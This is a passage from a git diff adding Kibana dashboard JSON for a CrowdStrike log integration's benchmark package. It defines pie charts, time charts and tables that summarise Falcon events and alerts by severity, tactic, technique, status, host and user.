"" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "legendDisplay": "default", + "metrics": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "2c916dee-9123-4c38-837b-848078cac0a5" + ] + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80", + "w": 10, + "x": 7, + "y": 0 + }, + "panelIndex": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80", + "title": "Incidents by ECS Category", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "2c916dee-9123-4c38-837b-848078cac0a5", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "2c916dee-9123-4c38-837b-848078cac0a5": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Severity", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "crowdstrike.event.SeverityName" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "legendDisplay": "default", + "metrics": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "2c916dee-9123-4c38-837b-848078cac0a5" + ] + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "3b8281fe-18b6-4215-ac47-2fa94d17fe18", + "w": 10, + "x": 17, + "y": 0 + }, + "panelIndex": "3b8281fe-18b6-4215-ac47-2fa94d17fe18", + "title": "Events by Severity", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "2c916dee-9123-4c38-837b-848078cac0a5", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "2c916dee-9123-4c38-837b-848078cac0a5": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Technique", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "threat.technique.name" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "legendDisplay": "default", + "metrics": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "2c916dee-9123-4c38-837b-848078cac0a5" + ] + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "3a6b30d6-f464-493e-8f38-1f9282906372", + "w": 10, + "x": 27, + "y": 0 + }, + "panelIndex": "3a6b30d6-f464-493e-8f38-1f9282906372", + "title": "Events by Technique Name", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "2c916dee-9123-4c38-837b-848078cac0a5", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "2c916dee-9123-4c38-837b-848078cac0a5": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Tactic", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "threat.tactic.name" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "legendDisplay": "default", + "metrics": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "2c916dee-9123-4c38-837b-848078cac0a5" + ] + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "aa89195e-3589-44fa-aac8-3e0d8e27de63", + "w": 11, + "x": 37, + "y": 0 + }, + "panelIndex": "aa89195e-3589-44fa-aac8-3e0d8e27de63", + "title": "Events by Tactic Name", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "b6bfb664-2c78-419f-9616-f7c4b40f580e", + "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "b6bfb664-2c78-419f-9616-f7c4b40f580e": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Activity by Event type", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 5 + }, + "scale": "ordinal", + "sourceField": "event.action" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data", + "seriesType": "area", + "splitAccessor": "b6bfb664-2c78-419f-9616-f7c4b40f580e", + "xAccessor": "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93" + } + ], + "legend": { + "isVisible": true, + "position": "right" + }, + "preferredSeriesType": "area", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 18, + "i": "3ae87a07-7518-4354-9eb2-2f548fcf2935", + "w": 41, + "x": 7, + "y": 17 + }, + "panelIndex": "3ae87a07-7518-4354-9eb2-2f548fcf2935", + "title": "Events over Time by Event Type", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "f19ed911-f1ce-416c-9da6-42efb356bd86", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "2c916dee-9123-4c38-837b-848078cac0a5", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "2c916dee-9123-4c38-837b-848078cac0a5": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Hostname", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "host.name" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "f19ed911-f1ce-416c-9da6-42efb356bd86", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.falcon" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.falcon" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "columnId": "2c916dee-9123-4c38-837b-848078cac0a5" + }, + { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c" + } + ], + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "3bba9326-103a-4cbc-9873-a303b306bf16", + "w": 21, + "x": 7, + "y": 35 + }, + "panelIndex": "3bba9326-103a-4cbc-9873-a303b306bf16", + "title": "Top Related Hosts", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "2c916dee-9123-4c38-837b-848078cac0a5", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "2c916dee-9123-4c38-837b-848078cac0a5": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Username", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "user.name" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "columnId": "2c916dee-9123-4c38-837b-848078cac0a5" + }, + { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c" + } + ], + "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", + "layerType": "data" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 17, + "i": "f2c81dd1-c916-4e63-8c58-53fa1e984c96", + "w": 20, + "x": 28, + "y": 35 + }, + "panelIndex": "f2c81dd1-c916-4e63-8c58-53fa1e984c96", + "title": "Top Related Users", + "type": "lens" + }, + { + "embeddableConfig": { + "description": "", + "enhancements": {} + }, + "gridData": { + "h": 17, + "i": "5faa13bd-3f89-4fa2-9f96-242cf14237a4", + "w": 41, + "x": 7, + "y": 52 + }, + "panelIndex": "5faa13bd-3f89-4fa2-9f96-242cf14237a4", + "panelRefName": "panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4", + "title": "[Crowdstrike] Newest Falcon Incidents", + "type": "search" + } + ], + "timeRestore": false, + "title": "[Crowdstrike] Falcon Overview", + "version": 2 + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-01T12:27:16.734Z", + "id": "crowdstrike-ad80a080-821b-11ee-bae0-937af575b750", + "managed": false, + "references": [ + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:af740c82-0b38-407b-bd61-d2d63b77b76e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "3b8281fe-18b6-4215-ac47-2fa94d17fe18:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "3a6b30d6-f464-493e-8f38-1f9282906372:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "aa89195e-3589-44fa-aac8-3e0d8e27de63:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "3ae87a07-7518-4354-9eb2-2f548fcf2935:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "3bba9326-103a-4cbc-9873-a303b306bf16:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "3bba9326-103a-4cbc-9873-a303b306bf16:f19ed911-f1ce-416c-9da6-42efb356bd86", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "f2c81dd1-c916-4e63-8c58-53fa1e984c96:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750", + "name": "5faa13bd-3f89-4fa2-9f96-242cf14237a4:panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4", + "type": "search" + }, + { + "id": "logs-*", + "name": "controlGroup_2f027408-9e82-4fbe-8c59-f32e933b50f0:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_3dc73766-aa88-46ff-a02d-b0e600136550:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_c94c3167-3962-4186-b809-1f2506632789:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_fa9232f2-d8fd-4087-989d-c4be652027bb:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_bd86c535-6911-441c-a29d-8a48759b461f:optionsListDataView", + "type": "index-pattern" + } + ], + "type": "dashboard", + "typeMigrationVersion": "10.2.0", + "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json new file mode 100644 index 0000000000..a3d07ab674 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json @@ -0,0 +1,2506 @@ +{ + "attributes": { + "controlGroupInput": { + "chainingSystem": "HIERARCHICAL", + "controlStyle": "oneLine", + "ignoreParentSettingsJSON": { + "ignoreFilters": false, + "ignoreQuery": false, + "ignoreTimerange": false, + "ignoreValidations": false + }, + "panelsJSON": {}, + "showApplySelections": false + }, + "description": "Overview of the CrowdStrike Alert Logs.", + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "optionsJSON": { + "hidePanelTitles": false, + "syncColors": false, + "syncCursor": true, + "syncTooltips": false, + "useMargins": true + }, + "panelsJSON": [ + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hidePanelTitles": false, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "id": "", + "params": { + "fontSize": 12, + "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f) \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n**Alert**\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboard shows statistics about the different alerts collected from the Crowdstrike Alert API.\n\n", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 16, + "i": "da4bfceb-5882-4577-9ead-316c338c7569", + "w": 16, + "x": 0, + "y": 0 + }, + "panelIndex": "da4bfceb-5882-4577-9ead-316c338c7569", + "title": "Table of Contents", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-836a096e-11de-4f16-8dc1-08de3e3a2b2f", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "836a096e-11de-4f16-8dc1-08de3e3a2b2f": { + "columnOrder": [ + "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7", + "c04767a1-9e74-4057-a95a-0d1ccb016a67" + ], + "columns": { + "c04767a1-9e74-4057-a95a-0d1ccb016a67": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Alert Status", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "c04767a1-9e74-4057-a95a-0d1ccb016a67", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 5 + }, + "scale": "ordinal", + "sourceField": "crowdstrike.alert.status" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "836a096e-11de-4f16-8dc1-08de3e3a2b2f", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "c04767a1-9e74-4057-a95a-0d1ccb016a67" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7" + ], + "truncateLegend": false + } + ], + "shape": "pie" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 16, + "i": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb", + "w": 17, + "x": 16, + "y": 0 + }, + "panelIndex": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb", + "title": "Alert by Status [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-b4403946-8fa4-464f-b1e2-17fae6304bb5", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "5c9cfcd1-2c7f-493f-86a5-002bcf501fde", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "b4403946-8fa4-464f-b1e2-17fae6304bb5": { + "columnOrder": [ + "8ad4264b-af2b-48aa-91a8-e4be5782a1c2", + "8e708f78-e313-4f7c-98dd-625bdc4ef202" + ], + "columns": { + "8ad4264b-af2b-48aa-91a8-e4be5782a1c2": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Host OS Platform", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "8e708f78-e313-4f7c-98dd-625bdc4ef202", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 5 + }, + "scale": "ordinal", + "sourceField": "host.os.platform" + }, + "8e708f78-e313-4f7c-98dd-625bdc4ef202": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "5c9cfcd1-2c7f-493f-86a5-002bcf501fde", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "b4403946-8fa4-464f-b1e2-17fae6304bb5", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "8e708f78-e313-4f7c-98dd-625bdc4ef202" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "8ad4264b-af2b-48aa-91a8-e4be5782a1c2" + ], + "truncateLegend": false + } + ], + "shape": "pie" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 16, + "i": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc", + "w": 15, + "x": 33, + "y": 0 + }, + "panelIndex": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc", + "title": "Alert by OS Platform [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-986a7419-3b29-4812-8f1e-8648d18ce08b", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "986a7419-3b29-4812-8f1e-8648d18ce08b": { + "columnOrder": [ + "950aa189-023a-4c68-ad46-fba8eaa6dc79", + "d59a23d4-24d0-486d-8d0d-6100463dbb0c", + "029c6079-1dc5-4444-a33a-c4590403af92" + ], + "columns": { + "029c6079-1dc5-4444-a33a-c4590403af92": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "950aa189-023a-4c68-ad46-fba8eaa6dc79": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "User ID", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "029c6079-1dc5-4444-a33a-c4590403af92", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "user.id" + }, + "d59a23d4-24d0-486d-8d0d-6100463dbb0c": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "User Name", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "029c6079-1dc5-4444-a33a-c4590403af92", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "user.name" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "columnId": "950aa189-023a-4c68-ad46-fba8eaa6dc79", + "isTransposed": false + }, + { + "columnId": "029c6079-1dc5-4444-a33a-c4590403af92", + "isTransposed": false + }, + { + "columnId": 